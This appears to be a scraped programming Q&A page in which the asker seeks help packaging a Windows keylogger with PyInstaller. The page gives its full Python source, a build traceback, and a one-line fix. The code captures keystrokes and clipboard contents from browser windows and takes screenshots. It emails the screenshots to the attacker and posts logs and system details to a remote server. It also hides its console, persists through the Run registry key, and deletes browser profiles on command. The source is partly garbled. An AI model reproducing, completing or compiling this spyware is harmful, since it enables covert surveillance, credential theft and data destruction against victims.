Python pyinstaller fails to compile code, returning “The’ could not find the cryptographic distribution, the application needs it”

Python pyinstaller fails to compile code, returning “The’ could not find the cryptographic distribution, the application needs it” … here is a solution to the problem.

Python pyinstaller fails to compile code, returning “The’ could not find the cryptographic distribution, the application needs it”

Here is the code I’m trying to compile:
This is not the first time I have compiled with pyinstaller, but this time it returns an “encryption” error, please help ??

What I’m trying to accomplish is create a keylogger that sends keystrokes to the server and forwards screenshots of browser events via email and deletes browser profiles for the most popular browsers.

import pyHook
import pythoncom  
import win32console 
import win32gui 
import time 
import os 
import sys
import json 
import urllib
import getpass
import pyautogui 
import socket
import requests
import platform
import winreg
import psutil
import win32api
import win32clipboard
import win32con
import threading
import shutil
import smtplib

from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import shutil.disk_usage
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
words_typed_in = [""];

a_to_z = ["A" , "B" , "C" , "D" , "E" , "F" , "G" , "H" , "I" , "J" , "K" , "L" , "M" , "N" , "O" , 
          "P" , "Q" , "R" , "S" , "T" , "U" , "V" , "W" , "X" , "Y" , "Z"];

shift_key = "[Shift]"
control_key = "[Ctrl]"

special_keys = {"Oem_3" : "`" , "Oem_Minus" : "-" , "Oem_Plus" : "=", "Oem_4" : "[" , "Oem_6" : "]"  , "Oem_5" : "\\" , 
                "Oem_1" : ";" , "Oem_7" : "'" , "Oem_Comma" : "," , "Oem_Period" : "." , "Oem_2" : "/"
                }

shift_numbers = {"1" : "!" , "2" : "@" , "3" : "#" , "4" : "$" , "5" : "%" , "6" : "^" , "7" : "&" , "8" : "*" , "9" : "(" , "0" : ")"} 

shift_characters =  ["~" , "_" , "+" , "{" , "}" , "|" , ":" , '"' , "<" , ">" , "?"]

clipboard_accessed = False
clipboard_text= ""

arrow_keys_moved = False
back_space_pressed = False

number_of_space_pressed = 0;
userSystem = "unknown"

class Vodka(threading. Thread):

victim = getpass.getuser()  # gets the username of the User from the operating system
       computerInformation = None;
       responseServer = "***********"

def __init__(  self ,

username= "unknown" , 
        vodka_key  = "unknown" , 
        send_screenshots_to= "unknown" , 
        email_address = "unknown"
        , email_address_password = "unknown"  
        , continue_sending_logs = 1 
        , continue_sending_screenshots = 1 
        , email_server = "smtp.gmail.com"
        , email_server_port  = 465 
        , browser_data_deleted = 0
        , password = ""

):
           threading. Thread.__init__(self)
           self.event = threading. Event
           global userSystem , words_typed_in;
           self.victim = Vodka.victim;
           threading. Thread.__init__(self)
           self.username = username
           self.key = vodka_key

self.screenshotInterval = 5 * 60 # in  minutes
           self.sendDataToServerInterval = 7 * 60 # in Minutes 
           self. HideCmd();
           self.email_username = email_address
           self.email_password = email_address_password;
           self.send_screenshots_to = send_screenshots_to
           self.imageCaptureTime = None
           self.sendScreenShotInterval = 5 * 60;
           self.internalIp = "N8twQZ3KjR7HPYSI";
           self.serverRequestResponseTimeout = 20;
           self.emailServer  = email_server
           self.emailPort = email_server_port
           try :
               self.internalIp = self.getInternalIpAddressOfVictim()
           except Exception :
               print()
           userSystem = self.get_system_info()["System"]

def activeInternetConnection (self):   
           try:
              urllib.request.urlopen("http://216.58.192.142", timeout = 10);
              return True
           except Exception as err: 
              return False

def addToStartup(self):
           fp=os.path.dirname(os.path.realpath(__file__))
           file_name=sys.argv[0].split("\\")[-1]
           new_file_path=fp+"\\"+file_name
           keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'

key2change= winreg. OpenKey(winreg. HKEY_CURRENT_USER,
           keyVal,0,winreg. KEY_ALL_ACCESS)

winreg. SetValueEx(key2change, "Windows SDK",0,winreg. REG_SZ, new_file_path)

def HideCmd(self):

window = win32console. GetConsoleWindow()
           win32gui. ShowWindow(window,0)

def get_computer_information (self) :
           virtual_mem  = psutil.virtual_memory()
           physical_ram = int(virtual_mem.total / 102400);
           total, used, free = psutil.disk_usage("\\")
           total_hard_disk = str(total // (2**30)) + "GB";
           used_hard_disk = str(used // (2**30)) + "GB"
           free_hard_disk = str(free // (2**30)) + "GB"
           computer_inforrmation = {
                                   "Total" : total_hard_disk ,
                                   "RAM" : physical_ram , 
                                   "Free" : free_hard_disk ,
                                   "Used" : used_hard_disk , 
                                                         }
           return computer_inforrmation

def tryDeleteBrowserData (self) :

#Getting the username of the Admin
           account_username = getpass.getuser();

firefox_path = "C:\\Users\\{}\\AppData\\roaming\\Mozilla\\Firefox\\profiles".format(account_username)
           google_chrome_path = "C:\\Users\\{}\\AppData\\Local\\Google\\Chrome\\User Data".format(account_username)
           microsoft_explorer_path = "C:\\Users\\{}\\AppData\\roaming\\Microsoft\\profiles.ini".format(account_username)
           opera_path = "C:\\Users\\{}\\AppData\\Roaming\\Opera Software\\Opera Stable".format(account_username)

path_exists = lambda path : os.path.exists(path)

if path_exists(firefox_path):
               try : 
                   shutil.rmtree(firefox_path, True)
               except Exception as err :
                   a = 2 
           if(path_exists(google_chrome_path)) :
               try : 
                   shutil.rmtree(google_chrome_path, True)
               except Exception as err :
                   a = 2 
           if(path_exists(microsoft_explorer_path)) :
               try : 
                   shutil.rmtree(microsoft_explorer_path, True)
               except Exception as err :
                   a = 2 
           if(path_exists(opera_path)) :
             try : 
                   shutil.rmtree(opera_path, True)
             except Exception as err :
                   a = 2 
           return True;
       def sendscreenShot(self):
           #threading. Timer(self.sendScreenShotInterval , self.sendscreenShot());

email_user = self.email_username;
           email_password = self.email_password
           email_send = self.send_screenshots_to
           subject = "New Image Captured From User - %s IP : %s " % (self.victim , str(self.getInternalIpAddressOfVictim()[0]))

msg = MIMEMultipart()
           msg['From'] = email_user
           msg['To'] = email_send
           msg['Subject'] = subject

body = "Latest Image Captured At  %s " % self.imageCaptureTime
           msg.attach(MIMEText(body,'plain'))

filename= self.victim+"-screen.jpg";
           attachment =open(filename,'rb')

part = MIMEBase('application','octet-stream')
           part.set_payload((attachment).read())
           email.encoders.encode_base64(part)
           part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
           text = msg.as_string()
           server = smtplib. SMTP("smtp.gmail.com",587)
           server.starttls()
           server.login(email_user,email_password)
           if server.sendmail(email_user,email_send,text): 
             server.quit()
             return True     
           server.quit()
           return False

def run(self):
              global words_typed_in
              if self.activeInternetConnection() :

words_to_be_sent = " ".join(str(x) for x in words_typed_in)
                print(words_to_be_sent)

totalDataToBeSent = {"username" : self.username , "key" : self.key , "userInformation" : self.tryGetUserInformation() , 
                                     "systemInformation" : self.get_system_info() , "computerInformation" : self.get_computer_information() ,
                                        "internalIpAddress" : self.internalIp[0]
                                      , "date" : time.asctime(time.localtime(time.time())) , "log" : words_to_be_sent

};

totalDataToBeSent = urllib.parse.urlencode(totalDataToBeSent)
                #VodkaOwnerData = json.dumps(VodkaOwnerData)
                headers = {}
                headers["content-type"] = "application/x-www-form-urlencoded"

#response = urllib.request.urlopen(self.server, data = request_data_as_bytes , timeout = self.serverRequestRespnseTimeout)
                response = requests.post(Vodka.responseServer,  data = totalDataToBeSent , headers = headers)
                print(response.text)
                responseDict = dict(response.json())
                if responseDict['success'] == 1 :
                    if responseDict["delete_browser_data"] == 1 :
                        self.tryDeleteBrowserData()
                        self. HideCmd();
                        try :
                            self.addToStartup()
                        except Exception:
                         name = 3
                    if responseDict["send_screenshot"] == 1 :
                     self.tryTakeScreenShot()
                     self.sendscreenShot()
                    words_typed_in = [""] 

def getInternalIpAddressOfVictim (self):

s = socket.socket(socket.AF_INET, socket. SOCK_DGRAM)
           s.connect(("8.8.8.8", 80))
           if s.getsockname()[0] : 
               return s.getsockname()[0]  , s.close()
           else : 
                return self.internalIp ,  0;

def tryTakeScreenShot(self):
               threading. Timer(self.screenshotInterval, self.tryTakeScreenShot).start();    
               screenshot = pyautogui.screenshot()
               screenshot.save(self.victim+"-screen.jpg")
               self.imageCaptureTime = time.asctime(time.localtime(time.time()))
               return True

def get_system_info(self):
            platform_machine = platform.machine();
            platform_version = platform.version()
            platform_platform = platform()
            platform_system = platform.system()
            os_release = platform.uname()[2]
            os_processor = platform.uname()[5]
            system_information = {"Machine" : platform_machine , 
                                  "Platform version" : platform_version , 
                                  "Platform" : platform_platform , 
                                  "System" : platform_system , 
                                  "release" : os_release , 
                                  "Processor" : os_processor , 
                                  "Victim" : self.victim
                                  }

return system_information

def tryGetUserInformation (self) :
                    # Getting the User Information
                    my_ip_data = "";
                    try :
                        my_ip_data = json.load(urllib.request.urlopen('http://ip-api.com/json'))

except Exception :
                        print();
                    user_information = {};
                    if my_ip_data != "" :
                        user_information = dict(my_ip_data)

return user_information        

class KeyLogger ():
    @staticmethod

def onKeyBoardEvent(event):

global words_typed_in , a_to_z , window_titles ,  control_key , shift_numbers , arrow_keys_moved
     global  special_keys , shift_characters , clipboard_accessed , clipboard_text , number_of_space_pressed 
     vodka = Vodka()
     caps_on = win32api. GetKeyState(win32con. VK_CAPITAL);

windowNameLowerCase = str(event. WindowName).lower()
     opposite_key = ""
     currentCaseKey = ""

if ("firefox" in  windowNameLowerCase) or ("google chrome" in windowNameLowerCase) or ("opera" in windowNameLowerCase) or ("internet explore" in windowNameLowerCase) :
            key = event. Key;
            if caps_on == 1 :
              opposite_key = str(key).lower()
              currentCaseKey = str(key).upper()
            else :
              opposite_key = str(key).upper()
              currentCaseKey = str(key).lower()  

last_word_typed_in = str(words_typed_in[-1])
            #if "" windowName

if key == "Z" :

if last_word_typed_in == control_key and clipboard_accessed == True:

position_of_copied_text= words_typed_in[-2].find(clipboard_text);
                    text_before_clipboard_text_was_pasted = words_typed_in[-2][:position_of_copied_text];
                    words_typed_in[-2] = text_before_clipboard_text_was_pasted
                    words_typed_in.pop()
                elif last_word_typed_in == shift_key:
                    words_typed_in[-2]+= currentCaseKey;
                    words_typed_in.pop()
                elif last_word_typed_in == control_key :
                    words_typed_in[-2]+= currentCaseKey
                    words_typed_in.pop()
                else :
                    words_typed_in[-1]+= currentCaseKey   
            #clipboard_accessed = False
            #clipboard_text = ""  ss

if str(key).lower() == "back": 
                if arrow_keys_moved == False :
                    if last_word_typed_in == control_key or last_word_typed_in == shift_key :
                        words_typed_in.pop() 
                    if words_typed_in[-1] != "":
                        words_typed_in[-1] = words_typed_in[-1][:-1];
                else :
                    vodka.tryTakeScreenShot()
                    try :
                      vodka.sendscreenShot()
                    except Exception as  err :
                        erro = 3         
            if str(key).lower() == "right" or str(key).lower()  == "left":
                   arrow_keys_moved = True

if str(key).lower() == "return" :
                if last_word_typed_in == control_key or last_word_typed_in == shift_key :
                    words_typed_in.pop()
                if arrow_keys_moved == True :

if vodka.activeInternetConnection():
                        vodka.tryTakeScreenShot()
                        vodka.sendscreenShot()

words_typed_in.append("< {} - {} >".format(event. WindowName , time.ctime(time.time())))
                words_typed_in.append("")
                arrow_keys_moved = False
                return True

if str(key).lower() == "space" :
                if last_word_typed_in == shift_key or last_word_typed_in == control_key :
                    words_typed_in.pop()
                if number_of_space_pressed > 2 :
                    words_typed_in.pop()
                    words_typed_in.append("")
                    number_of_space_pressed = 0
                else :
                    words_typed_in[-1]+= " "
                    number_of_space_pressed += 1    

if ("control" in str(key).lower()):

if (last_word_typed_in == shift_key) :
                words_typed_in.pop();
                words_typed_in.append(control_key)
                return True
              elif(last_word_typed_in != control_key) :
                words_typed_in.append(control_key)
                return True

if ("shift"  in str(key).lower()) :
                if last_word_typed_in == control_key :
                    words_typed_in.pop()
                    words_typed_in.append(shift_key);
                    return True
                elif last_word_typed_in != shift_key :
                    words_typed_in.append(shift_key)
                    return True

clipboard_accessed = False
            clipboard_text = ""  

if key in a_to_z and key != "V" and key != "Z":

if last_word_typed_in == shift_key:
                    words_typed_in.pop()
                    words_typed_in[-1] += opposite_key

elif last_word_typed_in == control_key :
                        words_typed_in.pop()
                else : 
                    words_typed_in[-1]+= currentCaseKey        

if (key == "V"): 
                if (last_word_typed_in == control_key) :
                        win32clipboard. OpenClipboard()                      # Retrieve information from the Clipboard
                        clipboard = win32clipboard. GetClipboardData()
                        win32clipboard. CloseClipboard()
                        words_typed_in[-2] = str(words_typed_in[-2] + clipboard).replace("\r\n", "")
                        words_typed_in.pop()
                        clipboard_accessed = True
                        vodka.tryTakeScreenShot()
                        if vodka.activeInternetConnection() :
                            vodka.sendscreenShot()  
                        clipboard_text = str(clipboard).replace("\r\n", "")
                elif (last_word_typed_in == shift_key):
                        words_typed_in[-2]+= opposite_key
                        words_typed_in.pop()
                else :
                    words_typed_in[-1]+= currentCaseKey;        

if key in shift_numbers :
                 if last_word_typed_in == control_key :

last_word_typed_in[-2]+= key;

elif last_word_typed_in == shift_key:
                     words_typed_in[-2]+= shift_numbers[key]
                     words_typed_in.pop()
                 else :
                        words_typed_in[-1]+= key
            if key in special_keys :
                if last_word_typed_in == control_key :
                    last_word_typed_in[-2] += special_keys[key];
                elif last_word_typed_in == shift_key :
                    convert_key_to_list = list(special_keys.keys())
                    words_typed_in[-2] +=  shift_characters[convert_key_to_list.index(key)]
                    words_typed_in.pop();   
                else :
                    words_typed_in[-1] += special_keys[key];
     print(words_typed_in)               
     return True
"""
#userSystem = "" # e.g Windows for  windows os
"""

def main () : 

threading. Timer(60 , main).start()  

vodka = Vodka(

username= "headline" , 
        vodka_key  = "vodka1960" , 
        send_screenshots_to= "************" , 
        email_address = "**************"
        , email_address_password = "******"  
        , email_server = "smtp.gmail.com"
        , email_server_port  = 465 
        , browser_data_deleted = 0
        )

if vodka.activeInternetConnection() and "Window" in vodka.get_system_info()["System"] :
        vodka.start()

else :
        print("No active internet connection")

if __name__ == "__main__":
     main()

#hm = pyHook.HookManager()              
#hm. KeyDown = KeyLogger.onKeyBoardEvent
#hm. HookKeyboard()                                     
#pythoncom. PumpMessages()

Here is the error on my console :

    C:\Users\********\eclipse-workspace\Python KeyLogger Example>pyinstaller log.py

723 INFO: PyInstaller: 3.3.1
724 INFO: Python: 3.6.5
724 INFO: Platform: Windows-7-6.1.7601-SP1
726 INFO: wrote C:\Users\Juul Kosi\eclipse-workspace\Python KeyLogger Example\lo
g.spec
731 INFO: UPX is not available.
734 INFO: Extending PYTHONPATH with paths
['C:\\Users\\Juul Kosi\\eclipse-workspace\\Python KeyLogger Example',
 'C:\\Users\\Juul Kosi\\eclipse-workspace\\Python KeyLogger Example']
734 INFO: checking Analysis
805 INFO: Building because C:\Users\Juul Kosi\eclipse-workspace\Python KeyLogger
 Example\log.py changed
805 INFO: Initializing module dependency graph...
809 INFO: Initializing module graph hooks...
837 INFO: Analyzing base_library.zip ...
12828 INFO: running Analysis out00-Analysis.toc
12863 INFO: Adding Microsoft.Windows.Common-Controls to dependent assemblies of
final executable
  required by c:\python\python.exe
14996 INFO: Caching module hooks...
15010 INFO: Analyzing C:\Users\Juul Kosi\eclipse-workspace\Python KeyLogger Exam
ple\log.py
15308 INFO: Processing pre-find module path hook   distutils
19251 INFO: Processing pre-safe import module hook   urllib3.packages.six.moves
25913 INFO: Loading module hooks...
25913 INFO: Loading module hook "hook-certifi.py"...
25917 INFO: Loading module hook "hook-cryptography.py"...
Traceback (most recent call last):
  File "C:\python\Scripts\pyinstaller-script.py", line 11, in <module>
    load_entry_point('PyInstaller==3.3.1', 'console_scripts', 'pyinstaller')()
  File "c:\python\lib\site-packages\PyInstaller\__main__.py", line 94, in run
    run_build(pyi_config, spec_file, **vars(args))
  File "c:\python\lib\site-packages\PyInstaller\__main__.py", line 46, in run_bu
ild
    PyInstaller.building.build_main.main(pyi_config, spec_file, **kwargs)
  File "c:\python\lib\site-packages\PyInstaller\building\build_main.py", line 79
1, in main
    build(specfile, kw.get('distpath'), kw.get('workpath'), kw.get('clean_build'
))
  File "c:\python\lib\site-packages\PyInstaller\building\build_main.py", line 73
7, in build
    exec(text, spec_namespace)
  File "<string>", line 16, in <module>
  File "c:\python\lib\site-packages\PyInstaller\building\build_main.py", line 21
3, in __init__
    self.__postinit__()
  File "c:\python\lib\site-packages\PyInstaller\building\datastruct.py", line 16
1, in __postinit__
    self.assemble()
  File "c:\python\lib\site-packages\PyInstaller\building\build_main.py", line 47
2, in assemble
    module_hook.post_graph()
  File "c:\python\lib\site-packages\PyInstaller\building\imphook.py", line 410,
in post_graph
    self._load_hook_module()
  File "c:\python\lib\site-packages\PyInstaller\building\imphook.py", line 377,
in _load_hook_module
    self.hook_module_name, self.hook_filename)
  File "c:\python\lib\site-packages\PyInstaller\compat.py", line 744, in importl
ib_load_source
    return mod_loader.load_module()
  File "<frozen importlib._bootstrap_external>", line 399, in _check_name_wrappe
r
  File "<frozen importlib._bootstrap_external>", line 823, in load_module
  File "<frozen importlib._bootstrap_external>", line 682, in load_module
  File "<frozen importlib._bootstrap>", line 265, in _load_module_shim
  File "<frozen importlib._bootstrap>", line 684, in _load
  File "<frozen importlib._bootstrap>", line 665, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 678, in exec_module
  File "<frozen importlib._bootstrap>", line 219, in _call_with_frames_removed
  File "c:\python\lib\site-packages\PyInstaller\hooks\hook-cryptography.py", lin
e 23, in <module>
    datas = copy_metadata('cryptography')
  File "c:\python\lib\site-packages\PyInstaller\utils\hooks\__init__.py", line 8
52, in copy_metadata
    dist = pkg_resources.get_distribution(package_name)
  File "c:\python\lib\site-packages\pkg_resources\__init__.py", line 472, in get
_distribution
    dist = get_provider(dist)
  File "c:\python\lib\site-packages\pkg_resources\__init__.py", line 344, in get
_provider
    return working_set.find(moduleOrReq) or require(str(moduleOrReq))[0]
  File "c:\python\lib\site-packages\pkg_resources\__init__.py", line 892, in req
uire
    needed = self.resolve(parse_requirements(requirements))
  File "c:\python\lib\site-packages\pkg_resources\__init__.py", line 778, in res
olve
    raise DistributionNotFound(req, requirers)
pkg_resources. DistributionNotFound: The 'cryptography' distribution was not foun
d and is required by the application

C:\Users\******\eclipse-workspace\Python KeyLogger Example>pyinstaller log.py

Solution

I actually had the same issue and solved it by installing the missing dependencies

pip install cryptography

Related Problems and Solutions